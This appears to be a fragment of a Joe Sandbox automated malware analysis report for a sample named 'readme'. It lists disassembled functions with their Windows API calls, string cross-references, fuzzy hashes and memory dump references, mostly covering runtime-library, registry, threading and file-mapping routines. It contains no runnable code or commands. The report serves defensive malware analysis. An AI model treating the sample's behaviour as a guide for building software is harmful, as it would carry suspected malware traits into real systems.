_strlen.LIBCMT ref: 0042A484
_strlen.LIBCMT ref: 0042A493
_strncpy.LIBCMT ref: 0042A4AA
_strlen.LIBCMT ref: 0042A4B3
_strlen.LIBCMT ref: 0042A4C0
_strcat.LIBCMT ref: 0042A4DE
_strlen.LIBCMT ref: 0042A526
GetStdHandle.KERNEL32(000000F4,0042EEC0,00000000,?,00000000,00000000,00000000,00000000), ref: 0042A531
WriteFile.KERNEL32(00000000), ref: 0042A538

Strings

Runtime Error!Program: , xrefs: 0042A4D8
Microsoft Visual C++ Runtime Library, xrefs: 0042A506
..., xrefs: 0042A4A4
<program name unknown>, xrefs: 0042A471

Memory Dump Source

Source File: 00000000.00000002.2147013170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2146992313.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147091714.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147127693.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000464000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_readme.jbxd

Similarity

API ID: _strlen$File_strcat$HandleModuleNameWrite_strncpy
String ID: ...$<program name unknown>$Microsoft Visual C++ Runtime Library$Runtime Error!Program:
API String ID: 3601721357-4022980321
Opcode ID: ce5f139c050410a4046e1cfe4d55637e7050fe717ca944e6fdfc0d3b7405f9c1
Instruction ID: 74c76adfd133b4e9a18e4e1925237b71ce4d4ae5635836e3a3127bb511270d61
Opcode Fuzzy Hash: ce5f139c050410a4046e1cfe4d55637e7050fe717ca944e6fdfc0d3b7405f9c1
Instruction Fuzzy Hash: 763128327401246BD720BBB6BC86EAB73A8EB44308F94042FFD15D3152EA7C9595C72D

Function 00408250 Relevance: 26.3, APIs: 1, Strings: 14, Instructions: 76COMMON

Download Yara Rule

APIs

ExpandEnvironmentStringsA.KERNEL32(00000034,00000104,00000104), ref: 00408348

Strings

z, xrefs: 004082A7
F, xrefs: 0040830A
t, xrefs: 00408305
x, xrefs: 00408285
4, xrefs: 00408298
^, xrefs: 004082CA
{, xrefs: 00408271
0, xrefs: 004082B1
<, xrefs: 004082DD
Y, xrefs: 0040827B
', xrefs: 00408293
h, xrefs: 004082F1
:, xrefs: 00408276
m, xrefs: 004082CF

Memory Dump Source

Source File: 00000000.00000002.2147013170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2146992313.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147091714.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147127693.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000464000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_readme.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: '$0$4$:$<$F$Y$^$h$m$t$x$z${
API String ID: 237503144-1073058172
Opcode ID: 6fad4a32500c4ba3f8a82e59dce4a452e749217753927d1ac47079a33b539138
Instruction ID: dca6d9ca4d919790161e68c6a6737a5004210cde6544d660ad85851be413fbda
Opcode Fuzzy Hash: 6fad4a32500c4ba3f8a82e59dce4a452e749217753927d1ac47079a33b539138
Instruction Fuzzy Hash: 6C41DC1000C7C29DD312D73C955864FBFD15BE7228F488B9DF0E95B2E2D6698249C7A7

Function 00423FDF Relevance: 24.8, APIs: 10, Strings: 4, Instructions: 297registrystringCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000002,?,00000000,00020019,?,00000015,759183C0,00000000), ref: 004241EF
RegOpenKeyExA.ADVAPI32(?,?,00000000,00020019,?), ref: 0042420C
RegQueryValueExA.ADVAPI32(?,ServiceName,00000000,?,?,?), ref: 00424264
lstrcpyA.KERNEL32(?,00000000,?,00000008), ref: 004242C0
RegQueryValueExA.ADVAPI32(?,Description,00000000,?,?,?), ref: 004242E8
lstrcpyA.KERNEL32(?,?), ref: 00424349
RegQueryValueExA.ADVAPI32(?,Title,00000000,?,?,?), ref: 00424378
wsprintfA.USER32 ref: 004243AA
RegCloseKey.ADVAPI32(?), ref: 004243BD
RegCloseKey.ADVAPI32(?), ref: 004243CD

Strings

Title, xrefs: 00424362
Description, xrefs: 004242D2
ServiceName, xrefs: 00424255
[%d] %s, xrefs: 004243A4

Memory Dump Source

Source File: 00000000.00000002.2147013170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2146992313.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147091714.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147127693.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000464000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_readme.jbxd

Similarity

API ID: QueryValue$CloseOpenlstrcpy$wsprintf
String ID: Description$ServiceName$Title$[%d] %s
API String ID: 3166188874-1473919770
Opcode ID: 19b7f30f3d2a41f17fe764a6f9fad9a6bbe25cb027da63ad8d5f2e9f9482e0bf
Instruction ID: 50b48e229a94bbbaf40ab9f963702833861e6e57dc731b51fdf7295a7017bae1
Opcode Fuzzy Hash: 19b7f30f3d2a41f17fe764a6f9fad9a6bbe25cb027da63ad8d5f2e9f9482e0bf
Instruction Fuzzy Hash: 0CE123205087CEDDDF22CB7C98486CD7F955B27328F484389F9E45A2E2C3A9854AC776

Function 00426501 Relevance: 24.6, APIs: 7, Strings: 7, Instructions: 100COMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,0042E7A0,00000118,0042485B,00000001,00000000,0042E4C0,00000008,0042A54F,00000000,00000000,00000000), ref: 00426582
_strcat.LIBCMT ref: 00426598
_strlen.LIBCMT ref: 004265A8
_strlen.LIBCMT ref: 004265B9
_strncpy.LIBCMT ref: 004265D3
_strlen.LIBCMT ref: 004265DC
_strcat.LIBCMT ref: 004265F8

Strings

Unknown security failure detected!, xrefs: 00426548
Microsoft Visual C++ Runtime Library, xrefs: 00426633
B, xrefs: 004265FD
..., xrefs: 004265CD
Program: , xrefs: 00426609
<program name unknown>, xrefs: 0042658C
Buffer overrun detected!, xrefs: 0042655E, 004265F6

Memory Dump Source

Source File: 00000000.00000002.2147013170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2146992313.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147091714.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147127693.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000464000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_readme.jbxd

Similarity

API ID: _strlen$_strcat$FileModuleName_strncpy
String ID: ...$<program name unknown>$Buffer overrun detected!$Microsoft Visual C++ Runtime Library$Program: $Unknown security failure detected!$B
API String ID: 3058806289-85196374
Opcode ID: e85ed9134b3ae6f9a248eff3a8fb49e701f2d1d72a83a6c7e4bd4b035122a1bd
Instruction ID: 89b9faee52e55a897ce7ba6d50dd28e9919cf87c3f188bd51213c475bd47c2d4
Opcode Fuzzy Hash: e85ed9134b3ae6f9a248eff3a8fb49e701f2d1d72a83a6c7e4bd4b035122a1bd
Instruction Fuzzy Hash: C331C732B012347BD715ABA6BC42FDE37689F09318FD4045BF904A6282DB7CDA918B5D

Function 00427120 Relevance: 22.8, APIs: 8, Strings: 5, Instructions: 71libraryloadermemoryCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,75920A60,00000000,00425E71,?,0042E598,00000060), ref: 00427138
GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 00427150
GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 0042715D
GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 0042716A
GetProcAddress.KERNEL32(00000000,FlsFree), ref: 00427177
FlsAlloc.KERNEL32(00426FD9,?,0042E598,00000060), ref: 004271B4
FlsSetValue.KERNEL32(00000000,?,0042E598,00000060), ref: 004271E1
GetCurrentThreadId.KERNEL32 ref: 004271F5

Part of subcall function 00426F4B: FlsFree.KERNEL32(00000005,0042720A,?,0042E598,00000060), ref: 00426F56
Part of subcall function 00426F4B: DeleteCriticalSection.KERNEL32(00000000,00000000,00000000,?,0042720A,?,0042E598,00000060), ref: 0042749C
Part of subcall function 00426F4B: DeleteCriticalSection.KERNEL32(00000005,00000000,?,0042720A,?,0042E598,00000060), ref: 004274C6

Strings

FlsFree, xrefs: 0042716C
FlsAlloc, xrefs: 0042714A
FlsGetValue, xrefs: 00427152
FlsSetValue, xrefs: 0042715F
kernel32.dll, xrefs: 00427133

Memory Dump Source

Source File: 00000000.00000002.2147013170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2146992313.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147091714.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147127693.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000464000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_readme.jbxd

Similarity

API ID: AddressProc$CriticalDeleteSection$AllocCurrentFreeHandleModuleThreadValue
String ID: FlsAlloc$FlsFree$FlsGetValue$FlsSetValue$kernel32.dll
API String ID: 2635119114-282957996
Opcode ID: b87ad60a131d164c28d5f70f0fad35323593ccf2417c63438c26ed16432ab973
Instruction ID: 86349d13d9d697d1a2059cccb8833edb385c7957e5e4b5f87f3c94e81b02547f
Opcode Fuzzy Hash: b87ad60a131d164c28d5f70f0fad35323593ccf2417c63438c26ed16432ab973
Instruction Fuzzy Hash: 1B2180707042619AD724AF37BE09A667FB5EB467103A1113BF644C32A0DBB8840ACF6C

Function 0041B010 Relevance: 21.2, APIs: 2, Strings: 12, Instructions: 210stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(?,-00000023,?,00000023), ref: 0041B170
lstrlenA.KERNEL32(?,?,?,?,?,?,00000000), ref: 0041B284

Part of subcall function 0041AD70: lstrlenA.KERNEL32 ref: 0041ADCA

Strings

(, xrefs: 0041B0A0
Y, xrefs: 0041B1D0
b, xrefs: 0041B052
I, xrefs: 0041B1F8
p, xrefs: 0041B1FD
[, xrefs: 0041B049
*, xrefs: 0041B0C2
0, xrefs: 0041B1C6
F, xrefs: 0041B0CC
x, xrefs: 0041B07A
r, xrefs: 0041B1F3
n, xrefs: 0041B057

Memory Dump Source

Source File: 00000000.00000002.2147013170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2146992313.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147091714.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147127693.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000464000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_readme.jbxd

Similarity

API ID: lstrlen
String ID: ($*$0$F$I$Y$[$b$n$p$r$x
API String ID: 1659193697-2061847989
Opcode ID: 0aacacd1b8cdbe4c7b6c9d18da774663ceb4049ca215048843e45ef287c2fd62
Instruction ID: 2df139c3096c9c4d925bdfeecfd17c6d27e21bb7b6dfed262cfb59e6470ea8b3
Opcode Fuzzy Hash: 0aacacd1b8cdbe4c7b6c9d18da774663ceb4049ca215048843e45ef287c2fd62
Instruction Fuzzy Hash: 76A13A2110C7C28AC322DA3C589859FBFD55EA7228F480B9EF0E5472E2C7558549C7AB

Function 00401260 Relevance: 21.1, APIs: 14, Instructions: 132threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 00401000: ExpandEnvironmentStringsA.KERNEL32(00000034,?,00000104), ref: 004010E1
Part of subcall function 00401000: CreateFileA.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000), ref: 004010FB

CreateThread.KERNEL32(00000000,00000000,004158B0,?,00000000,?), ref: 00401292
CreateThread.KERNEL32(00000000,00000000,00406580,?,00000000,?), ref: 004012AC
CreateEventA.KERNEL32(00000000,00000001,00000000,00000000), ref: 004012BA
CreateThread.KERNEL32(00000000,00000000,0041C0F0,?,00000000,?), ref: 004012E0
WaitForMultipleObjects.KERNEL32(00000002,?,00000001,000000FF), ref: 004012FF
CreateThread.KERNEL32(00000000,00000000,0040BB70,?,00000000,?), ref: 00401324
WaitForMultipleObjects.KERNEL32(00000002,?,00000001,000000FF), ref: 0040133F
CloseHandle.KERNEL32(?), ref: 00401348
SetEvent.KERNEL32(?), ref: 0040135A
WaitForSingleObject.KERNEL32(00000001,000000FF,00000000,00000000,00000001), ref: 00401388
CloseHandle.KERNEL32(00000001), ref: 0040138F
WaitForSingleObject.KERNEL32(?,000000FF), ref: 004013A0
CloseHandle.KERNEL32(?), ref: 004013AB
SetEvent.KERNEL32 ref: 004013B0

Memory Dump Source

Source File: 00000000.00000002.2147013170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2146992313.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147091714.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147127693.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000464000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_readme.jbxd

Similarity

API ID: Create$ThreadWait$CloseEventHandle$MultipleObjectObjectsSingle$EnvironmentExpandFileStrings
String ID:
API String ID: 94205885-0
Opcode ID: f714fd7dc9cf1b848fcbf6baa3b872f43579e6a1c41cad7c9b60e9636e7f0812
Instruction ID: 109f3496b703d5c848b0bbf75510f44b12918ce008f531d148e58f88355e5c24
Opcode Fuzzy Hash: f714fd7dc9cf1b848fcbf6baa3b872f43579e6a1c41cad7c9b60e9636e7f0812
Instruction Fuzzy Hash: 8E414F71244301AFE320DB65CC86F7BB3E8ABC8B14F504A2DF695A72D0DA74E8458B59

Function 0042ADD1 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 90libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(user32.dll,0042E5E8,?,?), ref: 0042ADE9
GetProcAddress.KERNEL32(00000000,MessageBoxA), ref: 0042AE05
GetProcAddress.KERNEL32(00000000,GetActiveWindow), ref: 0042AE16
GetProcAddress.KERNEL32(00000000,GetLastActivePopup), ref: 0042AE23
GetProcAddress.KERNEL32(00000000,GetUserObjectInformationA), ref: 0042AE39
GetProcAddress.KERNEL32(00000000,GetProcessWindowStation), ref: 0042AE4A

Strings

GetUserObjectInformationA, xrefs: 0042AE33
MessageBoxA, xrefs: 0042ADFF
GetProcessWindowStation, xrefs: 0042AE44
GetLastActivePopup, xrefs: 0042AE18
user32.dll, xrefs: 0042ADE4
GetActiveWindow, xrefs: 0042AE10

Memory Dump Source

Source File: 00000000.00000002.2147013170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2146992313.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147091714.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147127693.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000464000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_readme.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: GetActiveWindow$GetLastActivePopup$GetProcessWindowStation$GetUserObjectInformationA$MessageBoxA$user32.dll
API String ID: 2238633743-1612076079
Opcode ID: 1e07f3a9dedf5d83c3b40c4b76d854943183329d44e916a5c801173aea8fc7a5
Instruction ID: 70b5fa524dff6b7417458b24b0bac14766b51569b5ba9c55d5771b2b321c63c1
Opcode Fuzzy Hash: 1e07f3a9dedf5d83c3b40c4b76d854943183329d44e916a5c801173aea8fc7a5
Instruction Fuzzy Hash: 6B21A730740326ABDB119F75BE84B6B3BE8AB04740B51143BED01D6190D7BCC81ADB6E

Function 00406260 Relevance: 19.6, APIs: 13, Instructions: 99fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,80000000,00000003,00000000,00000003,00000000,00000000,75918A60,00406532,?, :\,?,?,?), ref: 00406275
CreateFileMappingA.KERNEL32(00000000,00000000,00000002,00000000,00000000,00000000), ref: 00406292
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 0040629F

Memory Dump Source

Source File: 00000000.00000002.2147013170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2146992313.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147091714.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147127693.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000464000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_readme.jbxd

Similarity

API ID: CreateFile$CloseHandleMapping
String ID:
API String ID: 2353530451-0
Opcode ID: 090e925647e629e1d9fdd77bcff8ee2c0cad40d50ae18b26d1d138ae1d50bb0b
Instruction ID: b1713de03d30712edf461a6f0e0af24326c7c5dfdbc2b318762e316791e25a2b
Opcode Fuzzy Hash: 090e925647e629e1d9fdd77bcff8ee2c0cad40d50ae18b26d1d138ae1d50bb0b
Instruction Fuzzy Hash: 7A21F4313892246AF230673ABC49FDB3B988B86730F511036F750E22E1DAB46806966D

Function 0041F830 Relevance: 19.6, APIs: 13, Instructions: 59memorysleepCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,?), ref: 0041F84E
HeapFree.KERNEL32(00000000), ref: 0041F851
GetProcessHeap.KERNEL32(00000000,?), ref: 0041F860
HeapFree.KERNEL32(00000000), ref: 0041F863
GetProcessHeap.KERNEL32(00000000,?), ref: 0041F872
HeapFree.KERNEL32(00000000), ref: 0041F875
CloseHandle.KERNEL32(?), ref: 0041F884
CloseHandle.KERNEL32(?), ref: 0041F88D
CloseHandle.KERNEL32(?), ref: 0041F896
CloseHandle.KERNEL32(?), ref: 0041F89F
CloseHandle.KERNEL32(?), ref: 0041F8A8
SetEvent.KERNEL32(?), ref: 0041F8BB
Sleep.KERNEL32(000003E8), ref: 0041F8C6

Memory Dump Source

Source File: 00000000.00000002.2147013170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2146992313.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147091714.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147127693.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000464000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_readme.jbxd

Similarity

API ID: Heap$CloseHandle$FreeProcess$EventSleep
String ID:
API String ID: 2749338665-0
Opcode ID: 9c1348228d7dc5c2962a96d715c005febc0d8f4a9507fb5608177c5e893bdc25
Instruction ID: 76c645c424173bd840e30338d02661637eb24344bf89ff37b7fb3177c525ef51
Opcode Fuzzy Hash: 9c1348228d7dc5c2962a96d715c005febc0d8f4a9507fb5608177c5e893bdc25
Instruction Fuzzy Hash: 2D11BA71300704ABE620ABBADC84FEBF3ECAF98751F05492AE559C7250CA74F8418A64

Function 0042A027 Relevance: 16.8, APIs: 11, Instructions: 299COMMONLIBRARYCODE

Download Yara Rule

APIs

LCMapStringW.KERNEL32(00000000,00000100,0042EB1C,00000001,00000000,00000000,0042EB20,00000038,0042B0F7,00000100,00000020,00000100,?,00000100,00000000,00000001), ref: 0042A04E
GetLastError.KERNEL32 ref: 0042A060
MultiByteToWideChar.KERNEL32(?,00000000,0042B335,?,00000000,00000000,0042EB20,00000038,0042B0F7,00000100,00000020,00000100,?,00000100,00000000,00000001), ref: 0042A0E7
MultiByteToWideChar.KERNEL32(?,00000001,0042B335,?,?,00000000), ref: 0042A168
LCMapStringW.KERNEL32(00000000,00000000,?,00000000,00000000,00000000), ref: 0042A182
LCMapStringW.KERNEL32(00000000,00000000,?,00000000,?,?), ref: 0042A1BD

Memory Dump Source

Source File: 00000000.00000002.2147013170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2146992313.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147091714.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147127693.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000464000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_readme.jbxd

Similarity

API ID: String$ByteCharMultiWide$ErrorLast
String ID:
API String ID: 1775797328-0
Opcode ID: 4aa49757b57a5304e3d7957d6244e3b008b81b7b30d59c19cfa7548b89e7cf8c
Instruction ID: 3988559e70c465a35b60d6fc3080959d3b10041c74b9751cd7113821b118c49c
Opcode Fuzzy Hash: 4aa49757b57a5304e3d7957d6244e3b008b81b7b30d59c19cfa7548b89e7cf8c
Instruction Fuzzy Hash: 5FB18472A00129EFCF219FA1EC849EE7B75FF08354F54412AFD11A2260D7398D61DB6A

Function 0041DF40 Relevance: 16.6, APIs: 11, Instructions: 123memoryfileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,00000001,00000001,00000000,00000003,00000000,00000000,75922EE0,00000001,00000000,004123D8,?,?,?), ref: 0041DF78
GetFileSize.KERNEL32(00000000,00000000), ref: 0041DF88
CloseHandle.KERNEL32(00000000), ref: 0041DF95
GetProcessHeap.KERNEL32(00000008,00000000,00000000), ref: 0041DFAB
HeapAlloc.KERNEL32(00000000), ref: 0041DFAE
CloseHandle.KERNEL32(00000000), ref: 0041DFBB
ReadFile.KERNEL32(00000000,00000000,?,?,00000000), ref: 0041DFE0
CloseHandle.KERNEL32(00000000,?,?,00000000), ref: 0041E013
CloseHandle.KERNEL32(00000000,?,?,00000000), ref: 0041E024
GetProcessHeap.KERNEL32(00000000,00000000,?,?,00000000), ref: 0041E02F
HeapFree.KERNEL32(00000000,?,?,00000000), ref: 0041E032

Memory Dump Source

Source File: 00000000.00000002.2147013170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2146992313.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147091714.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147127693.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000464000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_readme.jbxd

Similarity

API ID: CloseHandleHeap$File$Process$AllocCreateFreeReadSize
String ID:
API String ID: 851827180-0
Opcode ID: 60d014867e17b0a3a17904d24a01199ccef4cdd3278f6ba1154e53a9580f930a
Instruction ID: e2e57060ce1e7308e866bc93ed0c156a6316686fabef653f62ff15feab7bbeed
Opcode Fuzzy Hash: 60d014867e17b0a3a17904d24a01199ccef4cdd3278f6ba1154e53a9580f930a
Instruction Fuzzy Hash: 124191753052109FD7208F69EC85BB67BE8EB8A721F10143AF581C72A1D7B594478B2D

Function 0041AC50 Relevance: 16.6, APIs: 1, Strings: 10, Instructions: 81stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(?), ref: 0041AD0A

Part of subcall function 0041BC30: WaitForSingleObject.KERNEL32(?,?), ref: 0041BCA3
Part of subcall function 0041BC30: GetOverlappedResult.KERNEL32(000000FF,?,00000001,00000000), ref: 0041BCB8

Strings

/, xrefs: 0041ACBB
c, xrefs: 0041ACB6
5, xrefs: 0041ACA7
&, xrefs: 0041ACB1
#, xrefs: 0041AC9D
`, xrefs: 0041ACC0
(, xrefs: 0041AC7A
@, xrefs: 0041ACC5
e, xrefs: 0041ACCA
n, xrefs: 0041ACAC

Memory Dump Source

Source File: 00000000.00000002.2147013170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2146992313.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147091714.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147127693.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000464000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_readme.jbxd

Similarity

API ID: ObjectOverlappedResultSingleWaitlstrlen
String ID: #$&$($/$5$@$`$c$e$n
API String ID: 1203007601-276966957
Opcode ID: 243c376249be2b182f6dacd44d2a29b8c8a9c47cc2e434e317091e12bd14b117
Instruction ID: 40db77f959c89022b5c68d7f606fb1fae4f3f0c1390896a0b38eb06e05df56be
Opcode Fuzzy Hash: 243c376249be2b182f6dacd44d2a29b8c8a9c47cc2e434e317091e12bd14b117
Instruction Fuzzy Hash: 0A31A17210C3C18AD311DA28D80479BBBD59BD6318F044A6EF5D48B2D2D7B99658C3EB

Function 00415690 Relevance: 13.7, APIs: 9, Instructions: 162fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000004,00000080,00000000,?), ref: 004156BD
CreateFileMappingA.KERNEL32(00000000,00000000,00000002,00000000,00000000,00000000), ref: 004156DE
CloseHandle.KERNEL32(00000000), ref: 004156EF
MapViewOfFile.KERNEL32(00000000,00000004,00000000,00000000,00000000,75918A60), ref: 00415717
CloseHandle.KERNEL32(00000000), ref: 0041573C
